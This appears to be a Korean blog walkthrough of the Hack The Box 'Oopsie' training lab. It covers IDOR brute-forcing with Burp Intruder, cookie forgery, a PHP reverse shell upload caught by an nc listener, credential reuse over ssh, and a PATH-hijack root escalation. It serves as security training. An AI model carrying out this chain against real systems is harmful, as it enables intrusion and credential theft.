일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 리눅스마스터 2급 2차
- 정보보안산업기사 자격증
- 포렌식
- THM
- 정보보안산업기사 필기
- picoCTF
- CTF
- flag
- root
- 디지털포렌식
- Hack The Box
- picoCTF 2021
- htb
- Cybersecurity
- 디지털포렌식 전문가 2급
- hackthebox
- 자격증
- TryHackMe
- hacker
- kali-linux
- INFOSEC
- 디지털포렌식 자격증
- picoGym
- 리눅스마스터 자격증
- 해킹
- TryHackeMe
- 정보보안
- Capture The Flag
- Whitehacker
- 25 Days of Cyber Security
- Today
- Total
root@j4sper:~#
Starting Point | Oopsie 본문
startingpoint가 끝난 후 다음 단계인 Oopsie를 진행했다.
미리 만든 HTB 디렉터리에 Oopsie 디텍터리를 하나 만들어, 진행하게 될 모든 파일을 저장한다.
# cd HTB
# mkdir Oopsie
# cd Oopsie
핵더박스 페이지에서 오른쪽에 Actions에서 첫 번째 버튼을 클릭해보면 어떻게 진행하는지 확인할 수 있는 튜토리얼이 있다.
만약 진행 도중 막히는 부분이 있다면 이 버튼을 클릭해 도움을 얻을 수 있다.
10.10.10.28의 IP주소를 알아보기 위해 nmap을 이용해 찾아본다.
# nmap -sS -A 10.10.10.28
다음과 같이 22번 포트와 80번 포트가 열려있다.
80번 포트는 아파치 서버가 오픈되어 있는 것을 확인할 수 있는데 이것은 웹사이트가 오픈되어 있는 것이다.
오픈되어 있는 사이트를 들어가 어떤 사이트가 오픈되어 있는지 확인한다.
MegaCorp Automotive라는 홈페이지가 나왔다. 아무런 정보가 없기에 웹사이트의 전부를 확인한다.
웹사이트 아래로 스크롤을 내려보니 로그인에 대한 노트가 참조되어 있다고 한다.
다음과 같은 서비스라는 문구와 함께 어떠한 내용이 적혀 있다.
서비스 액세스를 얻기 위해서는 로그인을 하라고 나와있다.
로그인을 통해 액세스를 얻기 위해서는 웹사이트를 해킹해야 한다. 웹사이트 해킹을 위해서는 버프 스위트를 사용한다.
버프 스위트(Burp Suite)를 사용해 프록시 설정(127.0.0.1:8080) 후 다시 새로고침을 해서 확인하라고 나와있다.
버프 스위트 확인을 위해 먼저 프록시 설정을 해준다.
파이어폭스(FireFox)에서 오른쪽 상단의 줄 세 개 버튼을 클릭한 후 Preferences를 클릭한다.
클릭해 들어가 아래쪽으로 내려보면 Network Settings라는 부분이 있다.
Settings 버튼을 클릭해 프록시 설정을 해준다.
Manual proxy configuration 부분을 선택한 후 프록시를 127.0.0.1과 8080번 포트를 설정해 준다.
모든 설정을 다 한 후 터미널에 burpsuite 명령어를 사용하면 버프 스위트를 사용할 수 있다.
# burpsuite
이 과정까지 모두 했다면 위와 같은 버프 스위트를 확인할 수 있다.
또한, 버프 스위트의 프록시 설정을 해주기 위해 프록시 메뉴에 Options 메뉴를 클릭한다.
버프 스위트에는 기본적으로 127.0.0.1:8080으로 설정되어 있다. 하지만 만약 위 그림과 같이 설정되어 있지 않다면 Add 버튼으로 추가해주거나 Edit 버튼으로 편집을 해주면 된다.
프록시 설정을 모두 마쳤다면 Proxy 메뉴에 Intercept 부분을 클릭해 Intercept is on이 되어 있는지 확인하고 on이 되어있다면 10.10.10.28에서 나온 홈페이지를 새로고침 한다.
새로고침 한 후 버프 스위트에서 Target 탭에서 Site map 탭을 클릭하면 다음과 같은 화면이 나온다.
위와 같은 결과가 나왔다면 왼쪽 탭에서 웹사이트 주소가 타깃의 사이트맵으로 설정되어 나온 결과를 확인할 수 있다.
> 부분을 클릭해보면 다음과 같은 웹사이트의 하위 페이지들이 나온다.
하위 페이지들이 나오면 차례대로 페이지들을 확인해 본다.
처음으로 cdn-cgi 디렉터리를 확인해보면 URL 값에 login이 나온다. 이 부분이 아까 위에서 서비스 액세스를 위해서 필요한 login페이지인 것이다. login 페이지를 알아보기 위해 브라우저의 URL 값에 10.10.10.28/cdn-cgi/login/ 부분을 쳐서 확인한다.
이 과정을 진행할 때에는 버프 스위트 proxy 메뉴의 Intercept 메뉴에 Intercept is on 부분을 off로 바꾼 후 진행한다.
10.10.10.28/cdn-cgi/login/ 부분의 주소를 검색했을 때 위와 같은 로그인을 할 수 있는 페이지가 나온다.
startinpoint에서 얻은 암호(MEGACORP_4dm1n!!)를 재사용해 administrator나 admin의 관리자 아이디로 로그인을 시도해봤다.
아이디 admin 패스워드 MEGACORP_4dm1n!!로 로그인이 성공했다.
URL 주소를 확인해보면 admin.php 페이지로 이동했다. 페이지 상단의 메뉴에서 Uploads라는 메뉴가 있다. 이 Uploads 메뉴는 파일을 업로드하는 페이지 같아 클릭해 확인해본다. Uploads 페이지에 들어가니 다음과 같은 super admin을 통해서 사용할 수 있다고 나왔다.
super admin 계정을 얻기 위해서는 id 값을 알아내면 된다. 지금 내 계정은 admin으로 로그인되어있다. admin의 id 값은 1이며 이 값을 버프 스위트의 인터셉트 부분에서 URL의 10.10.10.28/cdn-cgi/login/의 파라미터 값을 변경한 후 실행시킨다.
우선 Proxy 메뉴에서 Intercept 메뉴의 Intercept is off 부분을 on으로 변경한 후 웹사이트를 새로고침 한다.
웹사이트를 새로고침 하면 다음과 같은 결과가 나온다.
우리는 계정을 알아내야 하므로 content 부분을 account으로 변경한 후 & 연산자와 함께 admin의 id 값을 넣어준다.
& 연산자는 피연산자가 모두 참이어야 지 결과가 참으로 나오는데 id 값에 무차별 대입을 진행해 결과가 참인 id 값을 알아내기로 한다. 무차별 대입을 진행하기 위해서는 Intruder 모듈을 사용해야 한다.
Ctrl + i 버튼을 누르면 Intruder의 메뉴로 자동으로 전송되며 Target 및 Positions의 양식이 자동으로 채워진다.
Positions 메뉴에서 채워진 항목을 살펴보자. 우리는 id 값만 알아내면 되기 때문에 설정되어 있는 Payload를 오른쪽에 있는 clear 버튼을 눌러 모두 지운 뒤 id=1에 설정되어 있는 1 값만 드래그 해 Add 버튼을 눌러 추가해준다.
모든 설정을 마쳤다면 Options 메뉴에 들어간다. 아래로 내려보면 Redirections 항목이 있다. 이 부분은 id 값에 무차별 대입 공격을 한 후 나온 페이지 변경을 설정하는 부분이다. Always로 변경하면 모두 허용한다는 것이다.
무차별 대입을 하기 위해서는 id 값들이 필요하다. 1부터 100까지의 값을 알기 위해서 Payload options에 추가를 해야 하는데 하나씩 넣기 매우 힘드므로 코드를 하나 만들어 출력한 값을 복사한 뒤 넣어주기로 한다.
다음은 1부터 100까지 숫자들을 한 줄마다 출력하는 코드다.
for i in `seq 1 100`; do echo $i; done
이 코드를 vi 편집기로 loop.sh라는 파일을 만든 뒤 안에 위 코드를 입력하고 저장한 뒤 나온다. 저장 후 터미널에서 파일을 실행 권한을 줘야 실행이 가능하다. chomd +x loop.sh라고 입력 후 실행해주면 1부터 100까지의 숫자가 나온다.
# vi loop.sh
for i in `seq 1 100`; do echo $i; done
# cat loop.sh
# chmod +x loop.sh
# ./loop.sh
파일 위치는 신경 쓰지 말길 바란다. 위에 코드를 차례로 입력 후 ./loop.sh로 실행해보면 1부터 100까지 숫자가 한 줄마다 출력된다.
1부터 100까지 숫자를 모두 드래그 해 복사한 뒤 버프 스위트 Payload Options에 Paste 버튼을 누르면 1부터 100까지의 숫자들이 모두 입력되는 것을 확인할 수 있다.
Payload Options를 설정한 후 오른쪽 상당에 Stark Attack 버튼을 누르면 id 값에 대한 무차별 공격이 실행된다.
모든 id 값에 대한 무차별 공격이 끝난 후 길이가 다른 값들을 확인하기 위해 length의 정렬을 바꿔서 확인해본다.
맨 위에 30 값의 값이 다른 값들과는 다른 길이의 결과가 나왔기 때문에 클릭해서 안에 내용을 확인해 본다.
Response 값에서 Raw 항목을 눌러 아래로 내려보면 Acces ID의 값이 86575인 super admin 계정을 찾아냈다.
super admin 값을 찾았기 때문에 웹사이트의 uploads 메뉴를 액세스 할 수 있다.
버프 스위트의 인터셉트를 on으로 변경한 후 URL 주소를 admin.php 페이지에서 uploads 메뉴를 클릭한다. uploads 메뉴를 클릭하면 다음과 같이 버프 스위트에서 중간에 가로챈다. cookie 값의 user 부분을 super admin의 id 값 86575를 대입한 후 Forword를 누르면 uploads 페이지에 접속할 수 있다.
super admin의 계정을 알아냈으므로 이 uploads 페이지에 리버스 쉘을 얻을 수 있는 파일을 업로드한다.
리버스 쉘 파일을 업로드해도 업로드된 파일이 어디에 업로드되었는지 모르기 때문에 dirsearch 모듈을 사용해 공통 디렉터리에 대한 웹서버를 찾아볼 것이다. 우선 dirsearch 모듈을 다운 받는다.
# git clone https://github.com/maurosoria/dirsearch.git
해당 모듈을 가져왔다면 이제 리버스 쉘 파일을 가져온다. 리버스 쉘 파일은 /usr/share/webshells/php/php-reverse-shell.php이며 이걸 내 Oopsie 파일에 복사해 가져온다.
# cp /usr/share/webshells/php/php-reverse-shell.php .
# mv php-reverse-shell.php test.php
복사한 php-reverse-shell.php 파일의 이름을 알기 쉽게 변경했다. 이제 test.php 파일을 업로드하기 전 설정을 변경해줘야 한다. 다음 그림과 같이 내 IP 주소를 변경해준 뒤 저장하면 된다.
설정을 마친 뒤 uploads 페이지로 가 파일을 업로드해주면 된다. 업로드하기 전 버프 스위트의 인터셉트를 on을 변경한 후 진행해야 한다. 업로드할 때 browser를 클릭 후 test.php 파일을 저장한 위치로 이동 후 클릭해 업로드하면 된다.
위와 같이 나왔다면 upload 버튼을 누르면 된다. 업로드 버튼을 누르면 버프 스위트에서 프록시의 인터셉트 부분에서 가로챈다.
위와 같은 화면이 나왔다면 업로드하기 위해서는 super admin 계정으로 진행해야 하기 때문에 cookie의 user 값을 아까 얻은 access id 값을 넣은 후 Forward 버튼을 누르면 업로드에 성공하게 된다.
다음과 같이 나왔다면 업로드에 성공한 것이다.
업로드에 성공했다면 이제 리버스 쉘 파일을 실행해야 하지만 어디에 업로드된 것인지 알 수 없기에 전에 다운받은 dirsearch 모듈을 이용해 파일이 업로드된 위치를 검색한다.
# cd dirsearch
# python3 dirsearch.py -u http://10.10.10.28 -e php
위와 같이 php 파일을 포함하고 있는 디렉터리를 검색하면 uploads라는 디렉터리도 php 파일을 포함하고 있다고 나온다.
리버스 쉘에서 리스닝하고 있는 포트는 1234번 포트이기 때문에 nc 명령어를 이용해 1234번 포트에 대해 리스닝한다.
# nc -lvnp 1234
이 과정까지 했다면 이제 리버스 쉘 파일을 실행시킨다. curl 명령어로 업로드한 test.php 파일을 실행시키면 된다.
# curl http://10.10.10.28/uploads/test.php
위와 같이 입력하면 nc 명령어로 리스닝하고 있던 터미널에서 연결되었다고 나온다.
우리는 리버스 쉘을 획득했다. 우리는 사용자 계정에 대한 데이터가 필요하므로 전에 사용했던 브라우저 주소 /cdn-cgi/login/ 에 있는 데이터 베이스를 확인한다. 참고로 처음에 찾았던 웹서버는 아파치 서버이므로 /var/www/html 디렉터리가 아파치 서버 웹 구동 디렉터리다.
$ ls /var/www/html/cdn-cgi/login
$ cat /var/www/html/cdn-cgi/login/db.php
데이터베이스 파일인 db.php 파일을 확인하니 아이디가 robert이며 패스워드는 M3g4C0rpUs3r! 인 로그인 계정을 알아냈다. ssh 명령어를 통해서 서버에 접속해보도록 하겠다.
# ssh robert@10.10.10.28
password : M3g4C0rpUs3r!
입력하면 robert 계정으로 로그인할 수 있다. 사용자의 UID와 GID를 확인하기 위해 id 명령어를 사용하면 robert가 bugtracker의 그룹의 구성원인 것을 알아낼 수 있다. 더욱 자세히 알아보기 위해 find 명령어를 사용한다.
$ id
$ find / -type f -group bugtracker 2>/dev/null
$ ls -al /usr/bin/bugtracker
/usr/bin/bugtracker는 setuid가 설정되어 있다. bugtracker안에 있는 문자열들을 확인하기 위해 strings 명령어를 사용해 확인한다.
$ strings /usr/bin/bugtracker
출력된 결과 중 중간 부분에 아래 그림과 같은 EV Bug Tracker라는 부분에서 제공되는 버그 아이디들을 확인할 수 있는데 그중 가장 첫 번째 아이디인 cat /root/reports/의 내용을 확인한다.
$ cat /root/reports/
cat 명령어를 사용했지만 권한이 없다고 나왔다. 그럼 cat 명령어에 실행 권한을 주기 위해 다음과 같이 입력한다.
$ export PATH=/tmp:$PATH
$ cd /tmp/
$ echo '/bin/sh' > cat
$ chmod +x cat
모든 입력을 마쳤다면 다시 cat /root/reports를 입력한다.
입력창에 reports라고 입력하지 않고 report라고 입력했는데도 쉘을 얻을 수 있었다. 이건 오타이기 때문에 reports라고 입력하길 바란다.
이렇게 쉘에 정상적으로 접속이 되었다면 exit 명령어를 입력해 빠져나온 뒤 위에서 찾은 bugtracker를 실행해 본다.
$ /usr/bin/bugtracker
위 명령어 입력 시 위에서 찾은 EV bug tracker라는 문구와 함께 ID를 입력하는 부분이 나온다. 처음으로 찾은 것이 cat /root/reports 이기 때문에 1을 입력한다. 입력 후 얻은 쉘에서 id 명령어를 사용해 UID를 확인하면 사용자가 root인 것을 확인할 수 있다.
이제 root 사용자 권한으로 내부 디렉터리들을 하나씩 확인해 본다. 현재 있는 디렉터리의 위치를 파악하는 명령어인 pwd를 사용해 내 위치를 확인하고, 상위 디렉터리인 / 로 이동해 가장 중요한 root와 home 디렉터리를 확인한다.
우선 첫 번째로 home 디렉터리를 확인한다. home 디렉터리를 확인하면 user.txt 파일이 있다. 이 파일의 내부를 확인하기 위해 cat 명령어를 사용해 봤지만 아무런 내용이 출력되지 않아 nano 편집기를 사용해서 확인했다. user.txt 파일에서 user flag를 얻을 수 있다.
다시 상위 디렉터리로 이동 후 root 디렉터리를 확인해 본다. 하면 root.txt 파일에서 root flag를 얻을 수 있다.
root 디렉터리 안에 root.txt 파일을 찾을 수 있다. 아까와 같이 nano 편집기를 이용해서 root flag를 얻을 수 있다.
숨겨진 디렉터리들을 알아보기 위해 ls -al 명령어를 통해 보이지 않는 디렉터리들을 확인해보니 .config 디렉터리에서 filezilla 디렉터리를 찾았다.
filezilla 안에는 xml 파일이 있었는데 내용을 살펴본 결과 10.10.10.46번 호스트에서 21번 포트로 접속할 수 있는 아이디와 패스워드를 얻었다 아마도 다음 단계에서 진행할 때 필요한 것이라고 생각한다.
'Walkthrough > Hack The Box' 카테고리의 다른 글
Starting Point | Pathfinder (0) | 2021.04.14 |
---|---|
Starting Point | Shield (0) | 2021.03.31 |
Starting Point | Vaccine (0) | 2021.03.29 |
Starting Point | Archetype (0) | 2021.03.17 |
Hack The Box 가입하기 (0) | 2021.03.09 |